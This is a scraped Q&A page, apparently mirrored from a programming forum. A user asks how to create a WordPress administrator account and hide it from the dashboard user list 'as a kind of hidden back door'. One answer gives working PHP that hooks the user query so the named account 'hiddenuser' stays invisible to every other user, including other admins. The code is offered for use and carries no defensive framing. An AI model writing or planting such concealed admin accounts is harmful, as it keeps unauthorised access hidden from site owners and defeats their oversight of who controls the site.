Hide A Particular Admin Account From Wordpress User List

后端 未结 5 681
耶瑟儿~
耶瑟儿~ 2021-01-31 23:34

I\'d like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins

5条回答
  •  庸人自扰
    2021-01-31 23:55

    Combining the answer of "angezanetti", the question of "Natalia" and the response of "user3474007" to Natalia, this code will hide the user from all other users (including admins).

    add_action('pre_user_query','yoursite_pre_user_query');
    function yoursite_pre_user_query($user_search) {
      global $current_user;
      $username = $current_user->user_login;
    
      if ($username != 'hiddenuser') { 
        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
          "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
      }
    }
    

提交回复
热议问题